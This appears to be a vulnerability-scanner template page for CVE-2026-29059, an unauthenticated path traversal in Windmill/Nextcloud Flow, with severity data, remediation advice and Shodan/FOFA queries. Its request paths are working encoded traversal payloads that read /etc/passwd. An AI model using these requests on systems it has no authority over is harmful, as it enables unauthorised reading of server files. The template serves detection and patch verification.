Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal
CVE-2026-29059
Verified
Description
Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
Severity
Critical
CVSS Score
10
Exploit Probability
3%
Affected Product
windmill
Published Date
June 3, 2026
Template Author
0x_akoko
CVE-2026-29059.yaml
id: CVE-2026-29059
info:
name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal
author: 0x_Akoko
severity: critical
description: |
Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
impact: |
Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
remediation: |
Update to version 1.603.3 or later.
reference:
- https://github.com/Chocapikk/Windfall
- https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-29059
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 10.0
cve-id: CVE-2026-29059
epss-score: 0.02584
epss-percentile: 0.83609
cwe-id: CWE-22
metadata:
max-request: 4
vendor: windmill
product: windmill
verified: true
shodan-query: http.html:"Windmill" http.html:"svelte-global-loader"
fofa-query: app="Windmill"
tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
- "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "root:x:0:0:"
- type: word
part: body
words:
- "<!DOCTYPE"
- "Err:"
condition: or
negative: true
- type: status
status:
- 200
# digest: 4b0a004830460221008900d80d86823dd46d51a6379fbae4d91e160c72ca2c8f67e29dd9087222c157022100979d1fdbb0be53cc6586bdea5d13c917192ac3a0a630100af8e918ab5b9a4b2c:922c64590222798bb761d5b6d8e7295010.0Score
CVSS Metrics
CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVE ID:
cve-2026-29059
CWE ID:
cwe-22
Remediation Steps
Update to version 1.603.3 or later.